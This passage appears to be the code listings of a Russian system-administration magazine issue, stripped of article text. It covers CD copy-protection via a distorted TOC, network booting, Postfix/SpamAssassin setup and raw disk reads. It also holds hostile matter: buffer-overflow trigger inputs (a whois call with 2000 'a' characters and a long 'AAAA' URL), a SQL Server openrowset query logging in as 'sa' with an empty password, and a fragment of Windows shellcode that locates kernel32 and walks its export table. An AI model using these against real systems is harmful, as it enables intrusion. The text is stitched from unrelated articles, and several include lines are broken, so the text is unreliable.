Маленький Linux в качестве firewall Сергей Яремчук Unable to make boot filesystem /cdrom/bin/mke2fs: invalid option --j Искажение TOC как средство борьбы с несанкционированным копированием диска Крис Касперски Листинг 1. Содержимое неискаженного TOC в сыром виде. Обобщенно говоря, диск содержит две секции – по одному треку каждая. Абсолютный адрес начала первого трека 00:00:02, абсолютный адрес Lead-out-области первой сессии 00:29:33 (адрес последнего сектора трека на две секунды короче), абсолютный адрес начала второго трека 03:01:33, а абсолютный адрес Lead-out второй сессии 03:24:33. Максимально достижимая емкость диска 22:14:34 (хотя на самом диске и написано, что он 23-минутный). [CloneCD] ; данные о Clone CD Version=3 ; версия Clone CD. [Disc] ; данные диска TocEntries=12 ; количество элементов TOC Sessions=2 ; количество сессий = 2 DataTracksScrambled=0 ; поле DVD (см. inf-8090), для CD эта информация лишена смысла CDTextLength=0 ; CD-Text в полях подкода Lead-in-области отсутствует [Session 1] ; данные сессии 1 PreGapMode=1 ; тип трека Mode 1 (трек с данными, 2048 байт данных) PreGapSubC=0 ; данных подканала нет [Session 2] ; данные сессии 2 PreGapMode=1 ; тип трека Mode 1 (трек с данными, 2048 байт данных) PreGapSubC=0 ; данных подканала нет [Entry 0] ; данные элемента TOC №0 Session=1 ; элемент сессии 1 Point=0xa0 ; номер первого трека сессии 1 в PMin/тип диска в PSec ADR=0x01 ; q-Mode == 1 Control=0x04 ; диск с данными, запрещенный для копирования TrackNo=0 ; трек, который мы сейчас читаем, – это Lead-in-трек (т.е. TOC) AMin=0 ; \ ASec=0 ; + абсолютный адрес текущего трека AFrame=0 ; / ALBA=-150 ; LBA-адрес текущего трека Zero=0 ; это поле должно быть равно нулю, как оно и есть PMin=1 ; номер первого трека сессии 1 PSec=0 ; тип диска CD-DA и CD-ROM-диск в Mode 1 PFrame=0 ; не несет никакой полезной информации PLBA=4350 ; номер трека, представленный Clone CD как LBA-адрес, т.е. глупость [Entry 1] ; данные элемента TOC №1 Session=1 ; элемент сессии 1 Point=0xa1 ; номер последнего трека сессии 1 в PMin ADR=0x01 ; q-Mode == 1 Control=0x04 ; диск с данными, запрещенный для копирования TrackNo=0 ; трек, который мы сейчас читаем, – это Lead-in-трек (т.е. TOC) AMin=0 ; \ ASec=0 ; + абсолютный адрес текущего трека AFrame=0 ; / ALBA=-150 ; LBA-адрес текущего трека Zero=0 ; это поле должно быть равно нулю, как оно и есть PMin=1 ; номер последнего трека сессии 1 (в сессии только один трек) PSec=0 ; не несет никакой полезной информации PFrame=0 ; не несет никакой полезной информации PLBA=4350 ; номер трека, представленный Clone CD как LBA-адрес, т.е. глупость [Entry 2] ; данные элемента TOC №2 Session=1 ; элемент сессии 1 Point=0xa2 ; положение Lead-out-области в PMin:PSec:PFrame ADR=0x01 ; q-Mode == 1 Control=0x04 ; диск с данными, запрещенный для копирования TrackNo=0 ; трек, который мы сейчас читаем, – это Lead-in-трек (т.е. TOC) AMin=0 ; \ ASec=0 ; + - абсолютный адрес текущего трека AFrame=0 ; / ALBA=-150 ; LBA-адрес текущего трека Zero=0 ; это поле должно быть равно нулю, как оно и есть PMin=0 ; \ PSec=29 ; + - абсолютный адрес Lead-out-области сессии 1 PFrame=33 ; / PLBA=2058 ; LBA-адрес Lead-out-области сессии 1 [Entry 3] ; данные элемента TOC №3 Session=1 ; элемент сессии 1 Point=0x01 ; данные трека 1 сессии 1 ADR=0x01 ; q-Mode == 1 Control=0x04 ; диск с данными, запрещенный для копирования TrackNo=0 ; трек, который мы сейчас читаем, – это Lead-in-трек (т.е. TOC) AMin=0 ; \ ASec=0 ; + - абсолютный адрес текущего трека AFrame=0 ; / ALBA=-150 ; LBA-адрес текущего трека Zero=0 ; это поле должно быть равно нулю, как оно и есть PMin=0 ; \ PSec=2 ; + - абсолютный адрес начала трека 1 сессии 1 PFrame=0 ; / PLBA=0 ; LBA-адрес начала трека 1 сессии 1 [Entry 4] ; данные элемента TOC №4 Session=1 ; элемент сессии 1 Point=0xb0 ; позиция следующий записываемой области в AMin:ASec:AFrame ADR=0x05 ; q-Mode == 1 Control=0x04 ; диск с данными, запрещенный для копирования TrackNo=0 ; трек, который мы сейчас читаем, – это Lead-in-трек (т.е. TOC) AMin=2 ; \ ASec=59 ; + - абсолютный адрес следующей записываемой области AFrame=33 ; / ALBA=13308 ; LBA-адрес следующей записываемой области Zero=3 ; кол-во pointer в Mode 5 PMin=22 ; \ PSec=14 ; + - абсолютный адрес максимальной записываемой области PFrame=34 ; / PLBA=99934 ; LBA-адрес максимальной записываемой области [Entry 5] ; данные элемента TOC №5 Session=1 ; элемент сессии 1 Point=0xc0 ; стартовый адрес Lead-in-области Hybrid-диска (если он есть) ADR=0x05 ; Mode 5 (Оранжевая книга) Control=0x04 ; диск с данными, запрещенный для копирования TrackNo=0 ; трек, который мы сейчас читаем, – это Lead-in-трек (т.е. TOC) AMin=162 ; рекомендуемая мощность лазера для записи ASec=128 ; Application code AFrame=140 ; зарезервировано ALBA=288590 ; LBA-"адрес" трех предыдущих полей Zero=0 ; зарезервировано PMin=97 ; \ PSec=27 ; + - абсолютный адрес Lead-in-области Hybrid-диска PFrame=21 ; / (адрес лежит за пределами диска, т.е. Hybrid-диска нет) PLBA=-11604 ; LBA-адрес Lead-in-области Hybrid (вычислен с переполнением) [Entry 6] ; данные элемента TOC №6 Session=1 ; элемент сессии 1 Point=0xc1 ; копия ATIP-информации ADR=0x05 ; -+ Control=0x04 ; -+ TrackNo=0 ; -+ AMin=4 ; -+ ASec=120 ; -+ AFrame=96 ; -+ ALBA=26946 ; -+ – ATIP-информация Zero=0 ; -+ PMin=0 ; -+ PSec=0 ; -+ PFrame=0 ; -+ PLBA=-150 ; -+ [Entry 7] ; данные элемента TOC №7 Session=2 ; элемент сессии 2 (вот мы и добрались до сессии 2!) Point=0xa0 ; номер первого трека сессии 2 в PMin/тип диска в PSec ADR=0x01 ; q-Mode == 1 Control=0x04 ; диск с данными, запрещенный для копирования TrackNo=0 ; трек, который мы сейчас читаем, – это Lead-in-трек (т.е. TOC) AMin=0 ; \ ASec=0 ; + - абсолютный адрес текущего трека AFrame=0 ; / ALBA=-150 ; LBA-адрес текущего трека Zero=0 ; это поле должно быть равно нулю, как оно и есть PMin=2 ; номер первого трека сессии 2 (нумерация треков сквозная!) PSec=0 ; тип диска CD-DA и CD-ROM-диск в Mode 1 PFrame=0 ; не несет никакой полезной информации PLBA=8850 ; номер трека, представленный Clone CD как LBA-адрес, т.е. глупость [Entry 8] ; данные элемента TOC №8 Session=2 ; элемент сессии 2 Point=0xa1 ; номер последнего трека сессии 2 в PMin ADR=0x01 ; q-Mode == 1 Control=0x04 ; диск с данными, запрещенный для копирования TrackNo=0 ; трек, который мы сейчас читаем, – это Lead-in-трек (т.е. TOC) AMin=0 ; \ ASec=0 ; + - абсолютный адрес текущего трека AFrame=0 ; / ALBA=-150 ; LBA-адрес текущего трека Zero=0 ; это поле должно быть равно нулю, как оно и есть PMin=2 ; номер последнего трека сессии 2 (в сессии только один трек) PSec=0 ; не несет никакой полезной информации PFrame=0 ; не несет никакой полезной информации PLBA=8850 ; номер трека, представленный Clone CD как LBA-адрес, т.е. глупость [Entry 9] ; данные элемента TOC №9 Session=2 ; элемент сессии 2 Point=0xa2 ; положение Lead-out-области в PMin:PSec:PFrame ADR=0x01 ; q-Mode == 1 Control=0x04 ; диск с данными, запрещенный для копирования TrackNo=0 ; трек, который мы сейчас читаем, – это Lead-in-трек (т.е. TOC) AMin=0 ; \ ASec=0 ; + - абсолютный адрес текущего трека AFrame=0 ; / ALBA=-150 ; LBA-адрес текущего трека Zero=0 ; это поле должно быть равно нулю, как оно и есть PMin=3 ; \ PSec=24 ; + - абсолютный адрес Lead-out-области сессии 2 PFrame=23 ; / PLBA=15173 ; LBA-адрес Lead-out-области сессии 2 [Entry 10] ; данные элемента TOC №10 Session=2 ; элемент сессии 2 Point=0x02 ; данные трека 2 сессии 2 ADR=0x01 ; q-Mode == 1 Control=0x04 диск с данными, запрещенный для копирования TrackNo=0 ; трек, который мы сейчас читаем, – это Lead-in-трек (т.е. TOC) AMin=0 ; \ ASec=0 ; + - абсолютный адрес текущего трека AFrame=0 ; / ALBA=-150 ; LBA-адрес текущего трека Zero=0 ; это поле должно быть равно нулю, как оно и есть PMin=3 ; \ PSec=1 ; + - абсолютный адрес начала трека 2 сессии 2 PFrame=33 ; / PLBA=13458 ; LBA-адрес начала трека 2 сессии 2 [Entry 11] ; данные элемента TOC №11 Session=2 ; элемент сессии 2 Point=0xb0 ; адрес следующей записываемой области в AMin:ASec:AFrame ADR=0x05 ; Mode 5 Control=0x04 ; диск с данными, запрещенный для копирования TrackNo=0 ; трек, который мы сейчас читаем, – это Lead-in-трек (т.е. TOC) AMin=4 ; \ ASec=54 ; + - абсолютный адрес следующей записываемой области AFrame=23 ; / ALBA=21923 ; LBA-адрес следующей записываемой области Zero=1 ; количество pointer Mode 5 PMin=22 ; \ PSec=14 ; + - абсолютный адрес последней возможной Lead-out-области PFrame=34 ; / (на самом диске написано 23 мин., это ж как надо округлять 22:14:34) PLBA=99934 ; LBA-адрес последней возможной ; Lead-out-области [TRACK 1] ; данные трека 1 MODE=1 ; режим Mode 1 INDEX 1=0 ; post-gap? [TRACK 2] ; данные трека 2 MODE=1 ; режим Mode 1 INDEX 1=0 ; post-gap? Листинг 2. Атрибуты трека 1. [Entry 3] ; данные элемента TOC №3 Session=1 ; элемент сессии 1 Point=0x01 ; данные трека 1 сессии 1 ADR=0x01 ; q-Mode == 1 Control=0x04 ; диск с данными, запрещенный для копирования TrackNo=0 ; трек, который мы сейчас читаем, – это Lead-in-трек (т.е. TOC) AMin=0 ; \ ASec=0 ; + - абсолютный адрес текущего трека AFrame=0 ; / ALBA=-150 ; LBA-адрес текущего трека Zero=0 ; это поле должно быть равно нулю, как оно и есть PMin=0 ; \ PSec=2 ; + - абсолютный адрес начала трека 1 сессии 1 PFrame=0 ; / PLBA=0 ; LBA-адрес начала трека 1 сессии 1 Logical Sector Address=(((Minute*60)+Seconds)*75+Frame)–150 Листинг 3. Атрибуты трека 1 до искажений (слева) и после искажения (справа). [Entry 3] [Entry 3] Session=1 Session=1 Point=0x01 Point=0x01 ADR=0x01 ADR=0x01 Control=0x04 Control=0x04 TrackNo=0 TrackNo=0 AMin=0 AMin=0 ASec=0 ASec=0 AFrame=0 AFrame=0 ALBA=-150 ALBA=-150 Zero=0 Zero=0 PMin=0 --> PMin=10 PSec=2 --> PSec=2 PFrame=0 --> PFrame=0 PLBA=0 --> PLBA=-1 Листинг 4. Сводная информация по записываемому образу, выдаваемая Alcohol. Обратите внимание на размеры и адрес первого трека первой сессии (они выделены другим цветом). Тип: Файл-образ Clone CD Путь: L:\ Имя: Image.ccd Image.img Image.sub Размер: 8.81 MB Сессий: 2 Треков: 2 Сессия 01: Трек 01: Mode 1, Длина: -42942(8191.92 GB), Адрес: 045000 Сессия 02: Трек 02: Mode 1, Длина: 001715(3.3 MB), Адрес: 013458 Листинг 5. Сводная информация по записываемому образу, выдаваемая Clone CD. Обратите внимание на размер первого трека первой сессии (он выделен другим цветом). ИНФОРМАЦИЯ О ФАЙЛЕ-ОБРАЗЕ: Число сессий: 2 Занято на диске: 34850 Кбайт Секторов: 15173 Время: 03:22:23 (мин:сек:кадр) ИНФОРМАЦИЯ О СЕССИИ 1: Размер сессии: 4726 Кбайт Число треков: 1 Pregap: Данные Mode 1, размер: 103359 Кбайт Track 1: Данные Mode 1, размер: 4294868664 Кбайт ИНФОРМАЦИЯ О СЕССИИ 2: Размер сессии: 3939 Кбайт Число треков: 1 Track 2: Данные Mode 1, размер: 3939 Кбайт Листинг 6. Таким видит защищенный диск копировщик Clone CD. Обратите внимание, что он распознал лишь одну сессию из двух (первую), да и то неправильно. ИНФОРМАЦИЯ О CD В ДИСКОВОДЕ: Число сессий: 1 Занято на диске: 4726 Кбайт Секторов: 2058 Время: 00:27:33 (мин:сек:кадр) ИНФОРМАЦИЯ О СЕССИИ 1: Размер сессии: 4726 Кбайт Число треков: 1 Pregap: Данные Mode 1, размер: 103359 Кбайт Track 1: Data, размер: 4294868664 Кбайт Листинг 7. Образ защищенного диска, снятый программой Clone CD (несоответствующие поля выделены другим цветом). [CloneCD] ; данные о копировщике Version=3 ; версия Clone CD [Disc] ; данные о диске TocEntries=7 ; количество элементов TOC = 7 (в оригинале было 12) Sessions=1 ; кол-во сессий = 1 (в оригинале было 2) DataTracksScrambled=0 ; поле DVD CDTextLength=0 ; CD-Text в полях подкода Lead-in-области отсутствует [Session 1] ; данные сессии 1 PreGapMode=1 ; тип трека == Mode 1 PreGapSubC=0 ; данных подканала – нет [Entry 0] ; данные элемента TOC №0 Session=1 ; элемент сессии 1 Point=0xa0 ; номер первого трека сессии 1 в PMin/тип диска в PSec ADR=0x01 ; q-Mode == 1 Control=0x04 ; диск с данными, запрещенный для копирования TrackNo=0 ; трек, который мы сейчас читаем, – это Lead-in-трек (т.е. TOC) AMin=0 ; \ ASec=0 ; + - абсолютный адрес текущего трека AFrame=0 ; / ALBA=-150 ; LBA-адрес текущего трека Zero=0 ; это поле должно быть равно нулю, как оно и есть PMin=1 ; номер первого трека сессии 1 PSec=0 ; тип диска CD-DA и CD-ROM-диск в Mode 1 PFrame=0 ; не несет никакой полезной информации PLBA=4350 ; номер трека, представленный Clone CD как LBA-адрес, т.е. глупость [Entry 1] ; данные элемента TOC №1 Session=1 ; элемент сессии 1 Point=0xa1 ; номер последнего трека сессии 1 в PMin ADR=0x01 ; q-Mode == 1 Control=0x04 ; диск с данными, запрещенный для копирования TrackNo=0 ; трек, который мы сейчас читаем, – это Lead-in-трек (т.е. TOC) AMin=0 ; \ ASec=0 ; + - абсолютный адрес текущего трека AFrame=0 ; / ALBA=-150 ; LBA-адрес текущего трека Zero=0 ; это поле должно быть равно нулю, как оно и есть PMin=1 ; номер последнего трека сессии 1 (в сессии только один трек) PSec=0 ; не несет никакой полезной информации PFrame=0 ; не несет никакой полезной информации PLBA=4350 ; номер трека, представленный Clone CD как LBA-адрес, т.е. глупость [Entry 2] ; данные элемента TOC №2 Session=1 ; элемент сессии 1 Point=0xa2 ; положение Lead-out-области в PMin:PSec:PFrame ADR=0x01 ; q-Mode == 1 Control=0x04 ; диск с данными, запрещенный для копирования TrackNo=0 ; трек, который мы сейчас читаем, – это Lead-in-трек (т.е. TOC) AMin=0 ; \ ASec=0 ; + - абсолютный адрес текущего трека AFrame=0 ; / ALBA=-150 ; LBA-адрес текущего трека Zero=0 ; это поле должно быть равно нулю, как оно и есть PMin=0 ; \ PSec=29 ; + - абсолютный адрес Lead-out-области сессии 1 PFrame=33 ; / PLBA=2058 ; LBA-адрес Lead-out-области сессии 1 [Entry 3] ; данные элемента TOC №3 Session=1 ; элемент сессии 1 Point=0x01 ; данные трека 1 сессии 1 ADR=0x01 ; q-Mode == 1 Control=0x04 ; диск с данными, запрещенный для копирования TrackNo=0 ; трек, который мы сейчас читаем, – это Lead-in-трек (т.е. TOC) AMin=0 ; \ ASec=0 ; + - абсолютный адрес текущего трека AFrame=0 ; / ALBA=-150 ; LBA-адрес текущего трека Zero=0 ; это поле должно быть равно нулю, как оно и есть PMin=10 ; \ PSec=2 ; + - абсолютный адрес начала трека 1 сессии 1 PFrame=0 ; / PLBA=45000 ; LBA-адрес начала трека 1 сессии 1 [Entry 4] ; данные элемента TOC №4 Session=1 ; элемент сессии 1 Point=0xb0 ; позиция следующей записываемой области в AMin:ASec:AFrame ADR=0x05 ; q-Mode == 1 Control=0x04 ; диск с данными, запрещенный для копирования TrackNo=0 ; трек, который мы сейчас читаем, – это Lead-in-трек (т.е. TOC) AMin=2 ; \ ASec=59 ; + - абсолютный адрес следующей записываемой области AFrame=33 ; / ALBA=13308 ; LBA-адрес следующей записываемой области Zero=3 ; количество pointer в Mode 5 PMin=22 ; \ PSec=14 ; + - абсолютный адрес максимальной записываемой области PFrame=34 ; / PLBA=99934 ; LBA-адрес максимальной записываемой области [Entry 5] ; данные элемента TOC №5 Session=1 ; элемент сессии 1 Point=0xc0 ; стартовый адрес Lead-in-области Hybrid-диска (если он есть) ADR=0x05 ; Mode 5 (Оранжевая книга) Control=0x04 ; диск с данными, запрещенный для копирования TrackNo=0 ; трек, который мы сейчас читаем, – это Lead-in-трек (т.е. TOC) AMin=162 ; рекомендуемая мощность лазера для ASec=200 ; Application code (в оригинале здесь было 128) AFrame=224 ; в оригинале здесь было 140 ALBA=294074 ; LBA-"адрес" трех предыдущих полей Zero=0 ; зарезервировано PMin=97 ; \ PSec=27 ; + - абсолютный адрес Lead-in-области Hybrid-диска PFrame=21 ; / (адрес лежит за пределами диска, т.е. Hybrid-диска нет) PLBA=-11604 ; LBA-адрес Lead-in-области Hybrid (вычислен с переполнением) [Entry 6] ; данные элемента TOC №6 Session=1 ; элемент сессии 1 Point=0xc1 ; копия ATIP-информации ADR=0x05 ; -+ Control=0x04 ; -+ TrackNo=0 ; -+ AMin=4 ; -+ ASec=192 ; -+ AFrame=150 ; -+- ATIP (изменена!) ALBA=32400 ; -+ Zero=0 ; -+ PMin=0 ; -+ PSec=0 ; -+ PFrame=0 ; -+ PLBA=-150 [TRACK 1] MODE=0 INDEX 1=45000 Листинг 8. Демонстрационный пример простейшей защиты, привязывающейся к искаженному TOC и не позволяющей себя копировать. /*-------------------------------------------------------- * * crack me 9822C095h * ================== * * демонстрация техники привязки к искаженному TOC; * для работе программе требуется лазерный диск, прожженный * соответствующим образом ---------------------------------------------------------*/ #include #include #include "CD.h" #include "SPTI.h" #include "ASPI32.h" // параметры защищенного диска, которые мы будем проверять //------------------------------------------------------– #define _N_SESSION 2 // количество сессий #define _TRACK 1 // номер проверяемого трека #define _TRACK_LBA 0x6B124 // стартовый LBA-адрес // трека _TRACK // параметры программы //-------------------- #define MAX_TRY 3 // мак. кол-во попыток чтения TOC #define TRY_DELAY 100 // задержка между попытками #define MAX_TOC_SIZE (2352) // максимальный размер TOC main(int argc, char **argv) { // основные переменные long a, real_len, try = 1; // сюда будет читаться TOC unsigned char TOC[MAX_TOC_SIZE]; // SCSI CDB-блок для SCSI/ATAPI-устройств unsigned char CDB[ATAPI_CDB_SIZE]; // TITLE fprintf(stderr,"crackme 9822C095 by Kris Kaspersky\n"); if (argc <2) { fprintf(stderr,"USAGE:crackme.9822C095h.exe drive\n"); fprintf(stderr,"\tdrive - \\\\.\\X: or Trg.Lun\n"); return -1; } // инициализация буферов memset(CDB, 0, ATAPI_CDB_SIZE); memset(TOC, 0, MAX_TOC_SIZE); // готовим CDB-блок CDB[0] = 0x43; // READ TOC CDB[2] = 0x2; // RAW TOC CDB[6] = 0; // номер первой сессии CDB[7] = HIBYTE(MAX_TOC_SIZE); // размер... CDB[8] = LOBYTE(MAX_TOC_SIZE); // ...буфера // читаем TOC while(1) { // посылаем CDB-блок SCSI/ATAPI-устройству a = SEND_SCSI_CMD(argv[1], CDB, ATAPI_CDB_SIZE, NO_SENSE, TOC, MAX_TOC_SIZE, SCSI_DATA_IN); // TOC успешно прочитан, рвем когти if (a == SCSI_OK) break; // произошла ошибка. Возможно привод не готов? // выдерживаем паузу Sleep(TRY_DELAY); // максимальное количество попыток уже вышло? if (try++ == MAX_TRY) { fprintf(stderr,"-ERR: can not read TOC\x7\n"); return -1;} } // TOC прочитан, приступаем к его анализу //--------------------------------------- // проверка количества сессий if ((TOC[3] - TOC[2]) != (_N_SESSION-1)) {fprintf(stderr, "-ERR: not original CD\n");return -1;} // проверка стартового LBA-адреса трека _TRACK //-------------------------------------------- // определение реальной длины TOC real_len = TOC[0]*0x100L+TOC[1]; // перебор всех entry for (a = 4; a < real_len; a+=11) { // это наш трек? if (TOC[a+3] == _TRACK) if ((((TOC[a + 4]*60L) + TOC[a + 5])*75L) + TOC[a + 6] != _TRACK_LBA) {fprintf(stderr, "-ERR: not original LBA\n"); return -1;} else break; } // это оригинальный диск! printf("Hello, original CD\n"); } Bugtraq стр. 45 astharot@astharot astharot $ whois -g `perl -e "print 'a'x2000"` sprintf(p--, "-%c %s ", ch, optarg); snprintf(p--, sizeof(fstring), "-%c %s ", ch, optarg); --- sm_resolve.c.orig Fri Jun 28 00:43:24 2002 +++ sm_resolve.c Thu Jul 10 01:21:17 2003 @@ -233,6 +233,7 @@ dns_free_data(r); return NULL; } + memset(*rr, 0, sizeof(**rr)); (*rr)->rr_domain = sm_strdup(host); if ((*rr)->rr_domain == NULL) { Загрузка по сети Денис Колисниченко [:][,] /sbin/rarp –s 192.168.1.117 00:00:a1:77:e5:c9 host net_pc1{ hardware ethernet 00:00:a1:77:e5:c9 fixed-address 192.168.1.117 } ip=:::::: ip=::::net_pc1::bootp ip=::::net_pc1::rarp ip=192.168.1.117:192.168.1.1:192.168.1.1:255.255.255.0:net_pc1:eth0: 192.168.1.117 net_pc1.domain.ru net_pc1 service xinetd restart tftp dgram udp wait root /bin/in.tftpd in.tftpd –s /tftp cat bzImage > /dev/fd0 rdev /dev/fd0 /dev/hda1 rdev –v /dev/fd0 –1 rdev –R /dev/fd0 1 rdev –r /dev/fd0 0 boot=/tftp/net.img prompt timeout=50 compact vga=normal read-only image=/vmlinuz label=linux append=" ip=::::nfs-client::bootp" ln –sf net.img C0A80175.I586 root=/dev/nfs nfsroot=192.168.1.1:/exports/nfs /exports/nfs (ro) /exports/nfs-rw (rw) /mnt/cdrom net_pc1(ro) subnet 192.168.1.0 255.255.255.0 { option subnet-mask 255.255.255.0; option domain-name-servers 192.168.1.1; # Если вы не укажете директиву dynamic-bootp, ваш DHCP-сервер # не будет работать в режиме BOOTP range dynamic-bootp 192.168.1.100 192.168.1.200 } host net_pc1{ hardware ethernet 00:00:a1:77:e5:c9 fixed-address 192.168.1.117 } Postfix+...+SpamAssassin Mini-HOWTO Андрей Мозговой -o content_filter=spam --- MASTER.CF --- #===================================================================== # service type private unpriv chroot wakeup maxproc command+args # (yes) (yes) (yes)(never) (100) #===================================================================== smtp inet n - n - 50 smtpd -o content_filter=spam:dummy ... # SpamAssassin Filter # ==================================================================== spam unix - n n - - pipe flags=R user=spam argv=/usr/bin/spamc -u spam -e /usr/sbin/sendmail -t --- END MASTER.CF --- --- MASTER.CF --- #===================================================================== # service type private unpriv chroot wakeup maxproc command+args # (yes) (yes) (yes)(never) (100) #===================================================================== smtp inet n - n - 50 smtpd -o content_filter=drweb:dummy ... # DrWeb AntiVirus Filter #===================================================================== drweb unix - n n - - pipe flags=R user=drweb argv=/opt/drweb/drweb-postfix -f ${sender} -- ${recipient} --- END MASTER.CF --- /usr/bin/spamd -d -a -c -m 50 -u spam * используйте опцию "-D" для отладки. * не забудьте прописать spamd в стартовых скриптах /usr/bin/spamc -u spam -e /usr/sbin/sendmail –t #include #include #include AC #include #include int main() { struct hd_driveid ide; int hda, sect; char sector[512]; hda=open("/dev/hda",O_RDONLY); if(!hda) { perror("hda"); } sect=open("mbr",O_CREAT|O_RDWR,0600); if(!sect) { perror("sect"); } if(ioctl(hda,HDIO_GET_IDENTITY,&ide)) perror ("HDIO_GET_IDENTITY"); static u_long dma=1, io32set=1, mult=16; if(ioctl(hda,HDIO_SET_32BIT,io32set)) perror("HDIO_SET_32BIT"); if(ioctl(hda,HDIO_SET_DMA,dma)) perror("HDIO_SET_DMA"); if(ioctl(hda,HDIO_SET_MULTCOUNT,mult)) perror("HDIO_SET_MULTCOUNT"); printf("Серийный номер – %s\n",ide.serial_no); printf("Модель – %s\n",ide.model); printf("Число логических блоков – %d\n",ide.lba_capacity); printf("Число цилиндров – %d\n",ide.cyls); printf("Число головок – %d\n",ide.heads); printf("Число секторов – %d\n",ide.sectors); read(hda,sector,sizeof(sector)); write(sect,sector,sizeof(sector)); close(hda); close(sect); return (0); } #define HD_DATA 0x1f0 /* регистр данных */ #define HD_ERROR 0x1f1 /* регистр ошибок */ #define HD_NSECTOR 0x1f2 /* регистр счетчика секторов */ #define HD_SECTOR 0x1f3 /* регистр стартового сектора */ #define HD_LCYL 0x1f4 /* регистр младшего байта номера цилиндра */ #define HD_HCY 0x1f5 /* регистр старшего байта номера цилиндра */ #define HD_CURRENT 0x1f6 /* 101dhhhh, d=устройство, hhhh=головка */ #define HD_STATUS 0x1f7 /* регистр состояния/команд */ #include #include #include #include #define OUT_P_B(val,port) \ asm( \ "outb %%al, %%dx" \ ::"a"(val),"d"(port) \ ) #define IN_P_B(val,port) \ asm( \ "inb %%dx, %%al" \ :"=a"(val) \ :"d"(port) \ ) #define IN_P_W(val,port) \ asm( \ "inw %%dx, %%ax" \ :"=a"(val) \ :"d"(port) \ ) void hd_busy() { unsigned char status; do { IN_P_B(status,HD_STATUS); } while (status & 0x80); return; } void hd_ready() { unsigned char status; do { IN_P_B(status,HD_STATUS); } while (!(status & 0x40)); return; } int hd_data_request() { unsigned char status; IN_P_B(status,HD_STATUS); if(status & 0x8) return 1; return 0; } void check_error() { unsigned char a; IN_P_B(a,HD_STATUS); if (a & 0x1) { perror("HD_STATUS"); exit(-1); } return; } void get_hd_identity(struct hd_driveid *hd) { unsigned short a = 0; int i = 0; unsigned short buff1[0x100]; memset(buff1,0,0x100); hd_busy(); OUT_P_B(0xA0,HD_CURRENT); hd_ready(); OUT_P_B(0xEC,HD_STATUS); do { hd_busy(); check_error(); IN_P_W(a,HD_DATA); if((i>=10 && i<=19) || (i>=27 && i<=46)) asm( "xchgb %%ah, %%al" :"=a"(a) :"0"(a)); buff1[i++] = a; } while(hd_data_request()); memcpy(hd,(struct hdreg *)buff1,0x100); memset(buff1,0,0x100); return; } void read_hd_sector_chs(unsigned short N, unsigned short s_sect, unsigned short s_cyl, unsigned short head, unsigned short *buff) { int i = 0; unsigned short a; if((!N) || (!s_sect)) return; hd_busy(); OUT_P_B(0xA0|head,HD_CURRENT); hd_ready(); OUT_P_B(N,HD_NSECTOR); OUT_P_B(s_sect,HD_SECTOR); OUT_P_B(s_cyl,HD_LCYL); OUT_P_B((s_cyl >> 8),HD_HCYL); OUT_P_B(0x20,HD_STATUS); do { hd_busy(); check_error(); IN_P_W(a,HD_DATA); buff[i++] = a; } while(hd_data_request()); IN_P_W(a,HD_DATA); buff[i++] = a; IN_P_W(a,HD_DATA); buff[i] = a; return; } void read_hd_sector_lba(unsigned short N, unsigned int lba, unsigned short *buff) { int i = 0; unsigned short a; if(!N) return; hd_busy(); OUT_P_B(0xE0|((lba & 0x0F000000) >> 24),HD_CURRENT); hd_ready(); OUT_P_B(N,HD_NSECTOR); OUT_P_B((lba & 0x000000FF),HD_SECTOR); OUT_P_B(((lba & 0x0000FF00) >> 8),HD_LCYL); OUT_P_B(((lba & 0x00FF0000) >> 16),HD_HCYL); OUT_P_B(0x20,HD_STATUS); do { hd_busy(); check_error(); IN_P_W(a,HD_DATA); buff[i++] = a; } while(hd_data_request()); IN_P_W(a,HD_DATA); buff[i++] = a; IN_P_W(a,HD_DATA); buff[i] = a; return; } int main () { struct hd_driveid hd; int out; unsigned short N = 1; unsigned int sect, cyl, head, lba; /* * N – число секторов для чтения * sect – номер сектора * cyl – номер цилиндра * head – номер головки * lba – номер логического блока */ unsigned short buff[0x100*N]; memset(buff,0,0x100*N); memset(&hd,0,sizeof(struct hd_driveid)); ioperm(0x1f0,8,1); get_hd_identity(&hd); printf("Серийный номер – %s\n",hd.serial_no); printf("Модель – %s\n",hd.model); printf("Число цилиндров - %d\n",hd.cur_cyls); printf("Число головок – %d\n",hd.cur_heads); printf("Число секторов – %d\n",hd.cur_sectors); printf("Число логических блоков – %d\n",hd.lba_capacity); sect = 1; cyl = 0; head = 0; read_hd_sector_chs(N,sect,cyl,head,buff); out=open("sect_chs", O_CREAT|O_RDWR, 0600); write(out,(unsigned char *)buff,0x200*N); close(out); lba = 0; read_hd_sector_lba(N,lba,buff); out=open("sect_lba", O_CREAT|O_RDWR, 0600); write(out,(unsigned char *)buff,0x200*N); close(out); ioperm(0x1f0,8,0); return (0); } gcc -o disk disk.c Очередная веская причина задуматься о переходе с ОС Windows на альтернативу Виктор Игнатьев HRESULT CoGetInstanceFromFile( COSERVERINFO * pServerInfo, CLSID * pclsid, IUnknown * punkOuter, DWORD dwClsCtx, DWORD grfMode, OLECHAR * szName, ULONG cmq, MULTI_QI * rgmqResults ); 192.168.1.0-19 пауза 1.8 сек 192.168.1.20-39 пауза и т.д. Bugrtaq стр. 65 http://AAAAAAA[more 780 chars] SELECT * FROM openrowset( 'SQLOLEDB', 'server=SERVER\instancename;uid=sa;pwd=', '') Построение переносимого shell-кода для Windows-систем Станислав Гошко mov eax, fs:[ebx] ; Указатель на список обработчиков inc eax ; Увеличиваем eax на 1 next_seh: xchg eax, ebx ; Обмениваем содержимое eax c ebx mov eax, [ebx-1] ; Номер текущего обработчика inc eax ; Увеличиваем eax на 1 jnz next_seh ; Является ли он системным (-1)? mov edx, [ebx-1+4] ; Адрес обработчика xchg ax, dx ; Эквивалентно xor dx,dx (eax=0) xor eax,eax ; Обнуляем eax mov ax,1001h ; Помещаем в eax dec ax ; 1000 next_block: cmp word ptr [edx],'ZM' ; Начало? je found_MZ ; ДА! sub edx,eax ; Ищем дальше jmp next_block found_MZ: mov ebx,edx ; Сохраним указатель mov edi,dword ptr [edx+3Ch] ; Адрес PE-заголовка add edi,edx ; +Адрес kernel cmp word ptr [edi],'EP' ; Проверка на PE jne Exit ; Не равно – выходим mov ebx,edx ; Сохраним указатель mov edi,dword ptr [edx+3Ch] ; Адрес PE-заголовка add edi,edx ; +Адрес kernel cmp word ptr [edi],'EP' ; Проверка на PE jne Exit ; Не равно – выходим push edx ; Сохраним адрес kernel add ebx,[edi+78h] ; Получим адрес таблицы экспортов mov ecx,[ebx+18h] ; Количество указателей mov esi,[ebx+20h] ; Указатель на таблицу указателей имен mov edi,[ebx+24h] ; Указатель на таблицу 